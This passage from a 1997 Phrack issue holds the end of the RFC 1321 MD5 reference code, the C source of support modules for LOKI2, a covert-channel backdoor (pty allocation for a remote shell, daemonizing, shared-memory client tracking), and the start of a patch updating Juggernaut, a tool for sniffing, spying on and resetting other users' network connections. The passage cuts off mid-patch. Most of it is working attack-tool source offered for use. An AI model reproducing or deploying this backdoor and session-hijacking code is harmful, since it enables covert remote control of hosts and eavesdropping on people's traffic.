static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));

static unsigned char PADDING[64] = {
  0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};

/* F, G, H and I are basic MD5 functions.
 */
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits.
 */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.
 */
#define FF(a, b, c, d, x, s, ac) { \
 (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }
#define GG(a, b, c, d, x, s, ac) { \
 (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }
#define HH(a, b, c, d, x, s, ac) { \
 (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }
#define II(a, b, c, d, x, s, ac) { \
 (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }

/* MD5 initialization. Begins an MD5 operation, writing a new context.
 */
void MD5Init (context)
MD5_CTX *context;                                        /* context */
{
  context->count[0] = context->count[1] = 0;
  /* Load magic initialization constants.
*/
  context->state[0] = 0x67452301;
  context->state[1] = 0xefcdab89;
  context->state[2] = 0x98badcfe;
  context->state[3] = 0x10325476;
}

/* MD5 block update operation. Continues an MD5 message-digest
  operation, processing another message block, and updating the
  context.
 */
void MD5Update (context, input, inputLen)
MD5_CTX *context;                                        /* context */
unsigned char *input;                                /* input block */
unsigned int inputLen;                     /* length of input block */
{
  unsigned int i, index, partLen;

  /* Compute number of bytes mod 64 */
  index = (unsigned int)((context->count[0] >> 3) & 0x3F);

  /* Update number of bits */
  if ((context->count[0] += ((UINT4)inputLen << 3))


/*
Rivest                                                         [Page 11]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

   < ((UINT4)inputLen << 3))
 context->count[1]++;
  context->count[1] += ((UINT4)inputLen >> 29);

  partLen = 64 - index;

  /* Transform as many times as possible.
*/
  if (inputLen >= partLen) {
 MD5_memcpy
   ((POINTER)&context->buffer[index], (POINTER)input, partLen);
 MD5Transform (context->state, context->buffer);

 for (i = partLen; i + 63 < inputLen; i += 64)
   MD5Transform (context->state, &input[i]);

 index = 0;
  }
  else
 i = 0;

  /* Buffer remaining input */
  MD5_memcpy
 ((POINTER)&context->buffer[index], (POINTER)&input[i],
  inputLen-i);
}

/* MD5 finalization. Ends an MD5 message-digest operation, writing the
  the message digest and zeroizing the context.
 */
void MD5Final (digest, context)
unsigned char digest[16];                         /* message digest */
MD5_CTX *context;                                       /* context */
{
  unsigned char bits[8];
  unsigned int index, padLen;

  /* Save number of bits */
  Encode (bits, context->count, 8);

  /* Pad out to 56 mod 64.
*/
  index = (unsigned int)((context->count[0] >> 3) & 0x3f);
  padLen = (index < 56) ? (56 - index) : (120 - index);
  MD5Update (context, PADDING, padLen);

  /* Append length (before padding) */
  MD5Update (context, bits, 8);


/*
Rivest                                                         [Page 12]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

  /* Store state in digest */
  Encode (digest, context->state, 16);

  /* Zeroize sensitive information.
*/
  MD5_memset ((POINTER)context, 0, sizeof (*context));
}

/* MD5 basic transformation. Transforms state based on block.
 */
static void MD5Transform (state, block)
UINT4 state[4];
unsigned char block[64];
{
  UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];

  Decode (x, block, 64);

  /* Round 1 */
  FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
  FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
  FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
  FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
  FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
  FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
  FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
  FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
  FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
  FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
  FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
  FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
  FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
  FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
  FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
  FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */

 /* Round 2 */
  GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
  GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
  GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
  GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
  GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
  GG (d, a, b, c, x[10], S22,  0x2441453); /* 22 */
  GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
  GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
  GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
  GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
  GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */


/*
Rivest                                                         [Page 13]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

  GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
  GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
  GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
  GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
  GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */

  /* Round 3 */
  HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
  HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
  HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
  HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
  HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
  HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
  HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
  HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
  HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
  HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
  HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
  HH (b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */
  HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
  HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
  HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
  HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */

  /* Round 4 */
  II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
  II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
  II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
  II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
  II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
  II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
  II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
  II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
  II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
  II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
  II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
  II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
  II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
  II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
  II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
  II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */

  state[0] += a;
  state[1] += b;
  state[2] += c;
  state[3] += d;

  /* Zeroize sensitive information.


Rivest                                                         [Page 14]

RFC 1321              MD5 Message-Digest Algorithm            April 1992

*/
  MD5_memset ((POINTER)x, 0, sizeof (x));
}

/* Encodes input (UINT4) into output (unsigned char). Assumes len is
  a multiple of 4.
 */
static void Encode (output, input, len)
unsigned char *output;
UINT4 *input;
unsigned int len;
{
  unsigned int i, j;

  for (i = 0, j = 0; j < len; i++, j += 4) {
 output[j] = (unsigned char)(input[i] & 0xff);
 output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
 output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
 output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
  }
}

/* Decodes input (unsigned char) into output (UINT4). Assumes len is
  a multiple of 4.
 */
static void Decode (output, input, len)
UINT4 *output;
unsigned char *input;
unsigned int len;
{
  unsigned int i, j;

  for (i = 0, j = 0; j < len; i++, j += 4)
 output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
   (((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
}

/* Note: Replace "for loop" with standard memcpy if possible.
 */

static void MD5_memcpy (output, input, len)
POINTER output;
POINTER input;
unsigned int len;
{
  unsigned int i;

  for (i = 0; i < len; i++)


/*
Rivest                                                         [Page 15]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

 output[i] = input[i];
}

/* Note: Replace "for loop" with standard memset if possible.
 */
static void MD5_memset (output, value, len)
POINTER output;
int value;
unsigned int len;
{
  unsigned int i;

  for (i = 0; i < len; i++)
 ((char *)output)[i] = (char)value;
}
<--> md5/md5c.c
<++> L2/pty.c
/*
 * LOKI
 *
 * [ pty.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 *  All the PTY code ganked from Stevens.
 */

#ifdef  PTY
#include "loki.h"

extern int verbose;    

/*
 *  Open a pty and establish it as the session leader with a 
 *  controlling terminal
 */

pid_t pty_fork(int *fdmp, char *slavename, struct termios *slave_termios, struct winsize *slave_winsize)
{

    int fdm, fds;          
    pid_t pid;
    char pts_name[20];

    if ((fdm = ptym_open(pts_name)) < 0) 
        err_exit(1, 0, verbose, "\nCannot open master pty\n");

    if (slavename) strcpy(slavename, pts_name);

    if ((pid = fork()) < 0) return (-1);

    else if (!pid)
    {
        if (setsid() < 0) 
            err_exit(1, 1, verbose, "\nCannot set session");

        if ((fds = ptys_open(fdm, pts_name)) < 0)
            err_exit(1, 0, verbose, "\nCannot open slave pty\n");
        close(fdm);                  

#if defined(TIOCSCTTY) && !defined(CIBAUD)
        if (ioctl(fds, TIOCSCTTY,(char *)0) < 0)
            err_exit(1, 1, verbose, "\nioctl");
#endif
                                        /* set termios/winsize */
        if (slave_termios) if (tcsetattr(fds,TCSANOW, (struct termios *)slave_termios) < 0) err_exit(1, 1, verbose, "\nCannot set termio");
	                                /* slave becomes stdin/stdout/stderr */
        if (slave_winsize) if (ioctl(fds, TIOCSWINSZ, slave_winsize) < 0)
            err_exit(1, 1, verbose, "\nioctl");
        if (dup2(fds, STDIN_FILENO) != STDIN_FILENO)
            err_exit(1, 0, verbose, "\ndup\n");
        if (dup2(fds, STDOUT_FILENO) != STDIN_FILENO)
            err_exit(1, 0, verbose, "\ndup\n");
        if (dup2(fds, STDERR_FILENO) != STDIN_FILENO)
            err_exit(1, 0, verbose, "\ndup\n");
        if (fds > STDERR_FILENO) close(fds);

        return (0);                     /* return child */ 
    }

    else
    {
        *fdmp = fdm;                    /* Return fd of master */
        return (pid);                   /* parent returns PID of child */ 
    }
}


/*
 *  Determine which psuedo terminals are available and try to open one
 */

int ptym_open(char *pts_name)
{

    int fdm     = 0;                    /* List of ptys to run through */
    char *p1    = "pqrstuvwxyzPQRST", *p2 = "0123456789abcdef";

    strcpy(pts_name, "/dev/pty00");     /* pty device name template */

    for (; *p1; p1++)
    {
        pts_name[8] = *p1;
        for (; *p2; p2++)
        {
            pts_name[9] = *p2;
            if ((fdm = open(pts_name, O_RDWR)) < 0)
            {
                                        /* device doesn't exist */
	        if (errno == ENOENT) return (-1);
                else continue;
            }
            pts_name[5] = 't';          /* pty -> tty */
            return (fdm);               /* master file descriptor */
        }	
    }
    return (-1);                        /* control falls here if no pty
                                         * devices are available
                                         */
}


/*
 *  Open the slave device and set ownership and permissions
 */

int ptys_open(int fdm, char *pts_name)
{

    struct group *gp;
    int gid = 0, fds = 0;

    if ((gp = getgrnam("tty"))) gid = (gp -> gr_gid);
    else gid = -1;                              /* Group tty is not in the group file */

    chown(pts_name, getuid(), gid);             /* make it ours */
                                                /* set permissions -rw--w---- */
    chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);   

    if ((fds = open(pts_name, O_RDWR)) < 0)
    {
        close(fdm);                            /* Cannot open fds */
        return (-1);
    }
    return (fds);
}

#endif

/* EOF */
<--> pty.c
<++> L2/shm.c
/*
 * LOKI2
 *
 * [ shm.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"
#include "client_db.h"
#include "shm.h"

extern struct loki rdg;
extern int verbose;
extern int destroy_shm;
struct client_list *client = 0;
int semid;

#ifdef STRONG_CRYPTO
extern short ivec_salt;
extern u_char user_key[BF_KEYSIZE];
#endif

/*
 *  Prepare shared memory and semaphore
 */

void prep_shm()
{

    key_t shmkey    = SHM_KEY + getpid();  /* shared memory key ID */
    key_t semkey    = SEM_KEY + getpid();  /* semaphore key ID     */
    int shmid, len  = 0, i = 0;

    len             = sizeof(struct client_list) * MAX_CLIENT;

                                        /* Request a shared memory segment */
    if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0)
        err_exit(1, 1, verbose, "[fatal] shared mem segment request error");

                                        /* Get SET_SIZE semaphore to perform 
                                         * shared memory locking with
                                         */
    if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0)
        err_exit(1, 1, verbose, "[fatal] semaphore allocation error ");

                                        /* Attach pointer to the shared memory
                                         * segment
                                         */                       
    client = (struct client_list *) shmat(shmid, NULL, (int)NULL);
                                        /* clear the database */
    for (; i < MAX_CLIENT; i++) bzero(&client[i], sizeof(client[i]));
}


/*
 *  Locks the semaphore so the caller can access the shared memory segment.
 *  This is an atomic operation.
 */

void locks()
{

    struct sembuf lock[2] = 
    {
        {0, 0, 0},
        {0, 1, SEM_UNDO}
    };

    if (semop(semid, &lock[0], 2) < 0)
        err_exit(1, 1, verbose, "[fatal] could not lock memory");
}


/*
 *  Unlocks the semaphore so the caller can access the shared memory segment.
 *  This is an atomic operation.
 */

void ulocks()
{

    struct sembuf ulock[1] = 
    {
        { 0, -1, (IPC_NOWAIT | SEM_UNDO) }
    };

    if (semop(semid, &ulock[0], 1) < 0)
        err_exit(1, 1, verbose, "[fatal] could not unlock memory");
}                      


/*
 *  Release the shared memory segment.
 */

void dump_shm()
{

    locks();
    if ((shmdt((u_char *)client)) == -1)
        err_exit(1, 1, verbose, "[fatal] shared mem segment detach error");

    if (destroy_shm == OK)
    {
        if ((shmctl(semid, IPC_RMID, NULL)) == -1)
            err_exit(1, 1, verbose, "[fatal] cannot destroy shmid");

        if ((semctl(semid, IPC_RMID, (int)NULL, NULL)) == -1)
            err_exit(1, 1, verbose, "[fatal] cannot destroy semaphore");
    }
    ulocks();
}
    
/* EOF */
<--> shm.c
<++> L2/shm.h
/*
 * LOKI
 *
 * shm header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */
 

#define SHM_KEY     242                 /* Shared memory key            */
#define SEM_KEY     424                 /* Semaphore key                */
#define SHM_PRM     S_IRUSR|S_IWUSR     /* Shared Memory Permissions    */
#define SET_SIZE    1

void prep_shm();                        /* prepare shared mem segment   */
void locks();                           /* lock shared memory           */
void ulocks();                          /* unlock shared memory         */
void dump_shm();                        /* release shared memory        */
<--> shm.h
<++> L2/surplus.c
/*
 * LOKI2
 *
 * [ surplus.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"

extern int verbose;    
extern jmp_buf env;

#define WORKING_ROOT "/tmp"             /* Sometimes we make mistakes.
                                         * Sometimes we execute commands we
                                         * didn't mean to.  `rm -rf` is much
                                         * easier to palate from /tmp 
                                         */
/*
 *  Domain names / dotted-decimals --> network byte order.
 */

u_long name_resolve(char *hostname)
{

    struct in_addr addr;
    struct hostent *hostEnt;
                                        /* name lookup failure */
    if ((addr.s_addr = inet_addr(hostname)) == -1)
    {   
        if (!(hostEnt = gethostbyname(hostname)))
            err_exit(1, 1, verbose, "\n[fatal] name lookup failed");
        bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length);
    }
    return (addr.s_addr);
}


/*
 *  Network byte order --> dotted-decimals.
 */

char *host_lookup(u_long in)
{

    char hostname[BUFSIZ] = {0};
    struct in_addr addr;

    addr.s_addr = in;
    strcpy(hostname, inet_ntoa(addr));
    return (strdup(hostname));
}
       
#ifdef X86FAST_CHECK
 
/*
 *  Fast x86 based assembly implementation of the IP checksum routine.
 */


u_short i_check(u_short *buff, int len)
{

    u_long sum = 0;
    if (len > 3)
    {
        __asm__("clc\n"
        "1:\t"
        "lodsl\n\t"
        "adcl %%eax, %%ebx\n\t"
        "loop 1b\n\t"
        "adcl $0, %%ebx\n\t"
        "movl %%ebx, %%eax\n\t"
        "shrl $16, %%eax\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum) , "=S" (buff)
        : "0" (sum), "c" (len >> 2) ,"1" (buff)
        : "ax", "cx", "si", "bx");
    }
    if (len & 2)
    {
        __asm__("lodsw\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum) , "=S" (buff)
        : "0" (sum), "c" (len >> 2) ,"1" (buff)
        : "ax", "cx", "si", "bx");
    }
    if (len & 2)
    {
        __asm__("lodsw\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }
    if (len & 1)
    {
        __asm__("lodsb\n\t"
        "movb $0, %%ah\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }                                                                         
    if (len & 1)
    {
        __asm__("lodsb\n\t"
        "movb $0, %%ah\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }
    sum  = ~sum;
    return (sum & 0xffff);
}

#else                           

/*
 *  Standard IP Family checksum routine.
 */

u_short i_check(u_short *ptr, int nbytes)
{

    register long sum       = 0; 
    u_short oddbyte         = 0;
    register u_short answer = 0;

    while (nbytes > 1)
    {
        sum += *ptr++;
        nbytes -= 2;
    }
    if (nbytes == 1)
    { 
        oddbyte = 0;  
        *((u_char *)&oddbyte) =* (u_char *)ptr; 
        sum += oddbyte;
    }
    sum     = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
    sum     += (sum >> 16);
    answer  = ~sum;
    return (answer);
}

#endif  /* X86FAST_CHECK */


/*
 *  Generic exit with error function.  If checkerrno is true, errno should
 *  be looked at and we call perror, otherwise, just dump to stderr.
 *  Additionally, we have the option of suppressing the error messages by
 *  zeroing verbose.
 */

void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr)
{
    if (verbalkint)
    {
        if (checkerrno) perror(errstr);
        else fprintf(stderr, errstr);
    }
    clean_exit(exitstatus);
}


/*
 *  SIGALRM signal handler.  We reset the alarm timer and default signal
 *  signal handler, then restore our stack frame from the point that
 *  setjmp() was called.
 */

void catch_timeout(int signo)
{

    alarm(0);                           /* reset alarm timer */

                                        /* reset SIGALRM, our handler will
                                         * be again set after we longjmp()
                                         */   
    if (signal(SIGALRM, catch_timeout) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGALRM);
                                        /* restore environment */
    longjmp(env, 1);
}

       
/*
 *  Clean exit handler
 */

void clean_exit(int status)
{

    extern int tsock;
    extern int ripsock;

    close(ripsock);
    close(tsock);
    exit(status);
}

/*
 *  Keep child proccesses from zombiing on us
 */

void reaper(int signo)
{
    int sys = 0;

    wait(&sys);                     /* get child's exit status */

                                    /* re-establish signal handler */
    if (signal(SIGCHLD, reaper) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGCHLD);
}

/*
 *  Simple daemonizing procedure.
 */

void shadow()
{
    extern int errno;
    int fd = 0;

    close(STDIN_FILENO);            /* We no longer need STDIN */
    if (!verbose)
    {                               /* Get rid of these also */
        close(STDOUT_FILENO);
        close(STDERR_FILENO);
    }
                                    /* Ignore read/write signals from/to
                                     * the controlling terminal.
                                     */
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTSTP, SIG_IGN);       /* Ignore suspend signal. */

    switch (fork())
    {
        case 0:                     /* child continues */
            break;                          

        default:                    /* parent exits */
            clean_exit(0);

        case -1:                    /* fork error */
            err_exit(1, 1, verbose, "[fatal] Cannot go daemon");
    }
                                    /* Create a new session and set this
                                     * process to be the group leader.
                                     */
    if (setsid() == -1)
        err_exit(1, 1, verbose, "[fatal] Cannot create session");
                                    /* Detach from controlling terminal */
    if ((fd = open("/dev/tty", O_RDWR)) >= 0)
    {
        if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1)
                err_exit(1, 1, verbose, "[fatal] cannot detach from controlling terminal");
        close(fd);
    }
    errno = 0;
    chdir(WORKING_ROOT);            /* Working dir should be the root */
    umask(0);                       /* File creation mask should be 0 */
}

#ifdef  DEBUG

/* 
 *  Bulk of this function taken from Stevens APUE...
 *  got this from Mooks (LTC)
 */

void fd_status(int fd, int newline)
{ 
    int accmode = 0, val = 0;

    val = fcntl(fd, F_GETFL, 0);

#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT)
    accmode = val & O_ACCMODE;
#else                           /* pyramid */
    accmode = val;              /* kludge */
#endif                          /* pyramid */
     if (accmode == O_RDONLY)       fprintf(stderr, " read only");
     else if (accmode == O_WRONLY)  fprintf(stderr, " write only");
     else if (accmode == O_RDWR)    fprintf(stderr, " read write");
     if (val & O_APPEND)            fprintf(stderr, " append");
     if (val & O_NONBLOCK)          fprintf(stderr, " nonblocking");
     else                           fprintf(stderr, " blocking");
#if defined(O_SYNC)
     if (val & O_SYNC)              fprintf(stderr, " sync writes");
#else
#if defined(O_FSYNC)
     if (val & O_FSYNC)             fprintf(stderr, " sync writes");
#endif                          /* O_FSYNC */
#endif                          /* O_SYNC */
     if (newline)                   fprintf(stderr, "\r\n");
}
#endif  /* DEBUG */

/* EOF */
<--> surplus.c

----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 07 of 17


-------------------------[  Juggernaut 1.2 update


--------[  route <route@infonexus.com>
                                         


	Well, Juggernaut went out, and the bug reports came in...  
Juggernaut, the robust network tool for Linux, originally went out in Phrack 
50.  This patchfile updates Juggernaut 1.0 (the version in P50-06) to version 
1.2.  It offers the following:

    - Nonfunctional things like nomenclature and cosmetics.
    - The IFF_PROMISC flag is unset upon exit.  Previously the program would 
      leave the network interface in promiscuous mode.
    - We no longer are interested in HTTP connections (unless -DGREED is 
      defined).
    - Connection Spying now works properly.
    - Connection RSTing and Automated connection RSTing now work better.


		Please keep the bug reports coming in!

    To extract this patchfile, use the included extraction utility to remove 
the patchfile from the article.  Then simply copy it into the Juggernaut 
directory and `patch <  juggernaut_1.0-1.2_patch`

<++> juggernaut_1.0-1.2_patch

--- NumberOneCrush/main.c	Thu May  8 15:37:02 1997
+++ NumberOneCrush/main.c	Fri Jun  6 01:33:42 1997
@@ -1,7 +1,7 @@
 /*
  *
  *			            Juggernaut
- *				    Version b2
+ *				    Version 1.2
  *
  *                            1996/7 Guild productions
  *			     daemon9[guild|phrack|r00t]
@@ -42,7 +42,7 @@
 #define DEVICE "eth0"
 #define LOGFILE "./juggernaut.log.spy"
 
-char version[]="1.0\0";
+char version[]="1.2";
 int sigsentry=1;		    /* Signal sentry */
 int ripsock=0;			    /* RIP socket */
 int linksock=0;			    /* SOCK PACKET socket */
@@ -96,8 +96,8 @@
     char buf[MINIBUF]={0};
     char token[2*MINIBUF]={0};
     int c;
-                                
-    if(geteuid()||getuid()){	            /* r00t? */
+
+    if(geteuid()||getuid()){                /* r00t? */
         fprintf(stderr,"UID or EUID of 0 needed...\n");
         exit(0);
         }
@@ -279,7 +279,7 @@
     	fgets(buf,sizeof(buf),stdin);
     	if(buf[0]==0x0a||buf[0]=='q')return;
     	if(!(int)(val=atoi(buf)))continue;
-    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
+    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
     	else break;
     }
     fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
@@ -324,7 +324,7 @@
 	fgets(buf,sizeof(buf),stdin);
 	if(buf[0]==0x0a||buf[0]=='q')return;
    	if(!(int)(val=atoi(buf)))continue;
-	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
+	if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
 	else break;
     }
     signal(SIGINT,convulsion);
@@ -440,7 +440,7 @@
 
     fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);
 
-    fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
+    fprintf(stderr,"\nBuilt on %s %s with the following options:\n",__DATE__,__TIME__);
 #ifdef MULTI_P
     fprintf(stderr," Multi-processing\n");
 #endif
@@ -501,7 +501,7 @@
     	fgets(buf,sizeof(buf),stdin);
     	if(buf[0]==0x0a||buf[0]=='q')return;
     	if(!(int)(val=atoi(buf)))continue;
-    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
+    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
     	else break;
     }
     if(ntohs(target->dport)!=23){
@@ -547,7 +547,7 @@
     	fgets(buf,sizeof(buf),stdin);
     	if(buf[0]==0x0a||buf[0]=='q')return;
         if(!(int)(val=atoi(buf)))continue;
-        if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
+        if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
     	else break;
     }
     if(ntohs(target->dport)!=23){
--- NumberOneCrush/mem.c	Thu May  8 15:37:02 1997
+++ NumberOneCrush/mem.c	Fri Jun  6 01:33:09 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                  Juggernaut
- *                                  Version b1
+ *                                  Version 1.2
  *
  *                            1996/7 Guild productions
  *                           daemon9[guild|phrack|r00t]
--- NumberOneCrush/menu.c	Thu May  8 15:37:02 1997
+++ NumberOneCrush/menu.c	Fri Jun  6 01:33:32 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                  Juggernaut
- *                                  Version b2
+ *                                  Version 1.2
  *
  *                            1996/7 Guild productions
  *                           daemon9[guild|phrack|r00t]
--- NumberOneCrush/net.c	Thu May  8 15:37:02 1997
+++ NumberOneCrush/net.c	Fri Jun  6 01:32:56 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                  Juggernaut
- *                                  Version b1
+ *                                  Version 1.2
  *
  *                            1996/7 Guild productions
  *                           daemon9[guild|phrack|r00t]
@@ -92,13 +92,14 @@
  *  mode.
  */
 
-int tap(device)
+int tap(device,mode)
 char *device;
+int mode;
 {
 	
     int fd;				
     struct ifreq ifr;   /* Link-layer interface request structure */
-                        /* Ethernet code for IP 0x800==ETH_P_IP */
+                        /* Ethernet code for IP 0x0800==ETH_P_IP */
     if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){	
         if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
         exit(1);					           
@@ -109,16 +110,22 @@
         close(fd);
       	exit(1);
     }
-    ifr.ifr_flags|=IFF_PROMISC;	            /* Set promiscuous mode */
+    if(!mode)ifr.ifr_flags^=IFF_PROMISC;    /* Unset promiscuous mode */
+    else ifr.ifr_flags|=IFF_PROMISC;        /* Set promiscuous mode */
     if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
-        if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
+        if(verbosity)perror("(tap) Can't set/unset promiscuous mode [fatal]");
         close(fd);
 	exit(1);
     }
-    return(fd);
+    if(!mode){
+        close(fd);
+        return(0);
+    }
+    else return(fd);
 }
 
 
+
 /*
  *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
